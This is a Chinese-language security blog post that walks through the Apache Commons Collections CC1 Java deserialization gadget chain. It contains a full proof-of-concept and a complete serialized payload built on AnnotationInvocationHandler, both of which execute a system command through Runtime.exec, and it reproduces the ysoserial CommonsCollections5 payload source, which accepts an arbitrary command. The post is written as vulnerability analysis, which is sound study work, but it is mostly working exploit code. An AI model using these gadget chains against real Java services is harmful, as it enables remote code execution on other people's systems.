CommonsCollections1 反序列化链分析

CommonsCollections1 反序列化链分析

参考文章

Java反序列化漏洞分析 (qq.com)
Java反序列化漏洞分析 - 先知社区 (aliyun.com)
JAVA反序列化 - Commons-Collections组件 - 先知社区 (aliyun.com)
玩转ysoserial-CommonsCollection的七种利用方式分析 (qq.com)
浅显易懂的JAVA反序列化入门 - 先知社区 (aliyun.com)

一、从payload的角度分析

1、本地poc

Apache Commons Collections反序列化漏洞的主要问题在于Transformer这个接口类,Transformer类可以满足固定的类型转化需求,其转化函数可以自定义实现,漏洞点就在这里。

目前已知实现了Transformer接口的类,如下所示。而在Apache Commons Collections反序列漏洞中,会使用到ChainedTransformerConstantTransformerInvokerTransformer这三个类,这些类的具体作用我们在下面结合POC来看。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Test1 {
    public static void main(String[] args) {
        // 1.
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        // 2.
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        // 3.
        HashMap hashMap = new HashMap();
        hashMap.put("key", "value");
        Map decorate = TransformedMap.decorate(hashMap, null, chainedTransformer);
        Map.Entry next = (Map.Entry) decorate.entrySet().iterator().next();
        // 4.
        next.setValue("test");
    }
}

该POC可以分成四部分来分析:

创建transformer数组,构建漏洞核心利用代码
将transformers数组存入ChainedTransformer类
创建Map,给予map数据转换链
触发漏洞利用链,利用漏洞

2、POC流程分析

2.1 创建transformer数组

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};

这里创建了个Transformer类型的数组,其中创建了四个对象,这四个对象分别使用了ConstantTransformerInvokerTransformer两个类。
ConstanTransformer:把一个对象转换为常量并返回

/**
 * Constructor that performs no validation.
 * Use <code>getInstance</code> if you want that.
 * 
 * @param constantToReturn  the constant to return each time
 */
public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}

InvokerTransformer:通过反射创建一个对象并返回

/**
 * Constructor that performs no validation.
 * Use <code>getInstance</code> if you want that.
 * 
 * @param methodName  the method to call
 * @param paramTypes  the constructor parameter types, not cloned
 * @param args  the constructor arguments, not cloned
 */
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
}

2.2 将transformers数组存入ChainedTransformer类

创建一个ChainedTeansformer对象并将刚才创建的transformers传入其中

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

ChainedTransformer:将传入的transformers转换器链接在一起,并依次对象依次的进行转换。

2.3 创建Map,给予map数据转换链

HashMap hashMap = new HashMap();
hashMap.put("key", "value");
Map decorate = TransformedMap.decorate(hashMap, null, chainedTransformer);
Map.Entry next = (Map.Entry) decorate.entrySet().iterator().next();

先是创建Map类,添加了一组数据("key", "value")
接着是给与map实现类的数据转换链。而在Apache Commons Collections中实现了TransformedMap类,该类可以在一个元素被添加/删除/或是被修改时,会调用transform方法自动进行特定的修饰变换,具体的变换逻辑由Transformer类定义。即就是当数据发生改变时,可以进行一些提前设定好的操作
TransformedMap.decorate中传入了三个参数,第一个参数为刚才创建的Map调用了父类AbstractInputCheckedMapDecorator的构造函数,被保存为了this.map

image-20220505101441418

第二个参数传入的是null,第三个参数为传入的chainedTransformer被初始化为this.valueTransformer的变量。
image-20220505101609955

然后获取outerMap的第一个键值对(key,value),然后转化成Map.Entry形式。
image-20220505102200337

最后利用Map.Entry取得第一个值,调用修改值的函数,触发下面的setValue( )代码。
image-20220505102259323

3、漏洞触发

续接上文继续跟入setValue进行分析,首先会进入AbstractInputCheckedMapDecorator类,在这会对传入的值进行checkSetValue

image-20220505103757947

继续跟进setValue的parent.checkSetValue会进入到TransoformedMap类
image-20220505104343978

这里的valueTransformer就是最一开始我们创建的chainedTransformer对象,其中传入了transformers数组。
继续跟进是ChainedTransformer中的transform方法,这里对我们传入的transformers数组进行了遍历,先调用1次ConstantTransformer类,再调用3次InvokerTransformer类。需要注意在数组的循环中,前一次transform函数的返回值,会作为下一次transform函数的object参数输入。

3.1 第一次循环

首先遍历的是transformers中的ConstantTransformer,跟进看一下具体是怎么处理的

image-20220505105632851

调用了ConstantTransformer中的transform方法将传入的Runtime.class转换为iConstant变量,并将返回值作为下一次transform函数的object参数输入。
image-20220505105900350

image-20220505110247330

3.2 第二次循环

image-20220505111014137

调用InvokerTransformer中的transform方法,这个方法很明显的就是调用了反射机制
image-20220505111312271

在InvokerTransformer的构造函数中需要先传入三个参数

  • 传入的方法名,类型为字符串
  • 方法的参数类型,类型为Class数组
  • 具体传入的数值,类型为Object数组
    image-20220505111351922

    这里回想一下上一部处理中将java.Lang.Runtime作为值传入了这里,所以这一部分也就相当于如下的代码:

    method = input.getClass().getMethod("getMethod",  new Class[] {String.class, Class[].class).invoke("java.Lang.Runtime", new Object[] {"getRuntime", new Class[0]});

    即java.Lang.Runtime.getMethod("getRuntime",null),返回一个Runtime.getRuntime()方法,相当于产生一个字符串,但还没有执行"Rumtime.getRuntime( );"

    3.3 第三次循环

    image-20220505112736434

    这里跟第二次循环一样,同样进入到InvokerTransformer类的transform()方法,input为上次循环的返回值Runtime.getRuntime()。

    method = input.getClass().getMethod("invoke",  new Class[] {Object.class, Object[].class }).invoke("Runtime.getRuntime()",  new Object[] {null, new Object[0]});

    即Runtime.getRuntime().invoke(null),那么会返回一个Runtime对象实例。相当于执行了完成了:

    Object runtime=Class.forName("java.lang.Runtime").getMethod("getRuntime",new Class[]{}).invoke(null);

    3.4 第四次循环

    image-20220505113014927

    同样进入到InvokerTransformer类的transform()方法,input为上次循环的返回值Runtime.getRuntime().invoke(null)

    method = input.getClass().getMethod("exec",  new Class[] {String.class }).invoke("runtime", new Object[] {"calc.exe"});

    即Runtime.getRuntime( ).exec("calc.exe"),至此成功完成漏洞利用链,执行系统命令语句,触发漏洞。

    二、最终Payload

    目前的POC只是被执行了,我们要利用此漏洞,就需要通过网络传输payload,在服务端对我们传过去的payload进行反序列时执行代码。而且该POC的关键依赖于Map中某一项去调用setValue( ) ,而这完全不可控。

    因此就需要寻找一个可序列化类,该类重写了readObject( )方法,并且在readObject( )中进行了setValue( ) 操作,且这个Map变量是可控的。需要注意的时,在java中如果重写了某个类的方法,就会优先调用经过修改后的方法。

    在java中,确实存在一个类AnnotationInvocationHandler,该类重写了readObject( )方法,并且执行了setValue( ) 操作,且Map变量可控,如果可以将TransformedMap装入这个AnnotationInvocationHandler类,再传过去,服务端在对其进行反序列化操作时,就会触发漏洞。
    最后利用的payload如下:

    package Serialize;
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    import java.io.*;
    import java.lang.annotation.Target;
    import java.lang.reflect.Constructor;
    import java.util.HashMap;
    import java.util.Map;
    public class ApacheSerialize implements Serializable {
    public static void main(String[] args) throws Exception{
    //transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
    Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
    };
    //transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作
    Transformer transformerChain = new ChainedTransformer(transformers);
    //Map数据结构,转换前的Map,Map数据结构内的对象是键值对形式,类比于python的dict
    Map map = new HashMap();
    map.put("value", "test");
    //Map数据结构,转换后的Map
    /*
    TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。
    第一个参数为待转化的Map对象
    第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
    第三个参数为Map对象内的value要经过的转化方法。
    */
    //TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null));
    Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
    //反射机制调用AnnotationInvocationHandler类的构造函数
    //forName 获得类名对应的Class对象
    Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    //通过反射调用私有的的结构:私有方法、属性、构造器
    //指定构造器
    Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
    //取消构造函数修饰符限制,保证构造器可访问
    ctor.setAccessible(true);
    //获取AnnotationInvocationHandler类实例
    //调用此构造器运行时类的对象
    Object instance=ctor.newInstance(Target.class, transformedMap);
    //序列化
    FileOutputStream fileOutputStream = new FileOutputStream("serialize.txt");
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
    objectOutputStream.writeObject(instance);
    objectOutputStream.close();
    //反序列化
    FileInputStream fileInputStream = new FileInputStream("serialize.txt");
    ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
    Object result = objectInputStream.readObject();
    objectInputStream.close();
    System.out.println(result);
    }
    }

    简单的分析调试一下这个payload,其他的部分其实没怎么变,主要的变化是通过反射调用了AnnotationInvocationHandler
    该类中重写的readObject方法在被调用的时候将map转换为map.Enrty,并在这其中同时也调用了steValue方法,所以我们只需要将transformedMap装入AnnotationInvocationHandler再进行传输就可以不用考虑远程服务是否进行SetValue。

    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    AnnotationType var2 = null;
    try {
    var2 = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException var9) {
    throw new InvalidObjectException("Non-annotation type in annotation serial stream");
    }
    Map var3 = var2.memberTypes();
    Iterator var4 = this.memberValues.entrySet().iterator();
    while(var4.hasNext()) {
    Entry var5 = (Entry)var4.next();
    String var6 = (String)var5.getKey();
    Class var7 = (Class)var3.get(var6);
    if (var7 != null) {
    Object var8 = var5.getValue();
    if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
    }
    }
    }
    }

    实际效果:

    image-20220505141440278

    但是该方法只能在jdk7中使用,应为在jdk8中的AnnotationInvocationHandler.readObject方法做出了修改:

    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    GetField var2 = var1.readFields();
    Class var3 = (Class)var2.get("type", (Object)null);
    Map var4 = (Map)var2.get("memberValues", (Object)null);
    AnnotationType var5 = null;
    try {
    var5 = AnnotationType.getInstance(var3);
    } catch (IllegalArgumentException var13) {
    throw new InvalidObjectException("Non-annotation type in annotation serial stream");
    }
    Map var6 = var5.memberTypes();
    LinkedHashMap var7 = new LinkedHashMap();
    String var10;
    Object var11;
    for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
    Entry var9 = (Entry)var8.next();
    var10 = (String)var9.getKey();
    var11 = null;
    Class var12 = (Class)var6.get(var10);
    if (var12 != null) {
    var11 = var9.getValue();
    if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
    var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
    }
    }
    }
    AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
    AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
    }

    他这里干脆不用setValue了。这该如何解决呢,我们可以去看一下在ysoserial中的cc1链是什么样的

    package ysoserial.payloads;
    import java.lang.reflect.Field;
    import java.lang.reflect.InvocationHandler;
    import java.util.HashMap;
    import java.util.Map;
    import javax.management.BadAttributeValueExpException;
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;
    import ysoserial.payloads.annotation.Authors;
    import ysoserial.payloads.annotation.Dependencies;
    import ysoserial.payloads.annotation.PayloadTest;
    import ysoserial.payloads.util.Gadgets;
    import ysoserial.payloads.util.JavaVersion;
    import ysoserial.payloads.util.PayloadRunner;
    import ysoserial.payloads.util.Reflections;
    /*
    Gadget chain:
    ObjectInputStream.readObject()
    BadAttributeValueExpException.readObject()
    TiedMapEntry.toString()
    LazyMap.get()
    ChainedTransformer.transform()
    ConstantTransformer.transform()
    InvokerTransformer.transform()
    Method.invoke()
    Class.getMethod()
    InvokerTransformer.transform()
    Method.invoke()
    Runtime.getRuntime()
    InvokerTransformer.transform()
    Method.invoke()
    Runtime.exec()
    Requires:
    commons-collections
    */
    /*
    This only works in JDK 8u76 and WITHOUT a security manager
    https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
    */
    @SuppressWarnings({"rawtypes", "unchecked"})
    @PayloadTest ( precondition = "isApplicableJavaVersion")
    @Dependencies({"commons-collections:commons-collections:3.1"})
    @Authors({ Authors.MATTHIASKAISER, Authors.JASINNER })
    public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
    public BadAttributeValueExpException getObject(final String command) throws Exception {
    final String[] execArgs = new String[] { command };
    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(
    new Transformer[]{ new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] {
    String.class, Class[].class }, new Object[] {
    "getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", new Class[] {
    Object.class, Object[].class }, new Object[] {
    null, new Object[0] }),
    new InvokerTransformer("exec",
    new Class[] { String.class }, execArgs),
    new ConstantTransformer(1) };
    final Map innerMap = new HashMap();
    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
    TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
    BadAttributeValueExpException val = new BadAttributeValueExpException(null);
    Field valfield = val.getClass().getDeclaredField("val");
    Reflections.setAccessible(valfield);
    valfield.set(val, entry);
    Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
    return val;
    }
    public static void main(final String[] args) throws Exception {
    PayloadRunner.run(CommonsCollections5.class, args);
    }
    public static boolean isApplicableJavaVersion() {
    return JavaVersion.isBadAttrValExcReadObj();
    }
    }

    这里使用了BadAttributeValueExpException来代替AnnotationInvocationHandler,但这其实也就是CC5的链子了。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇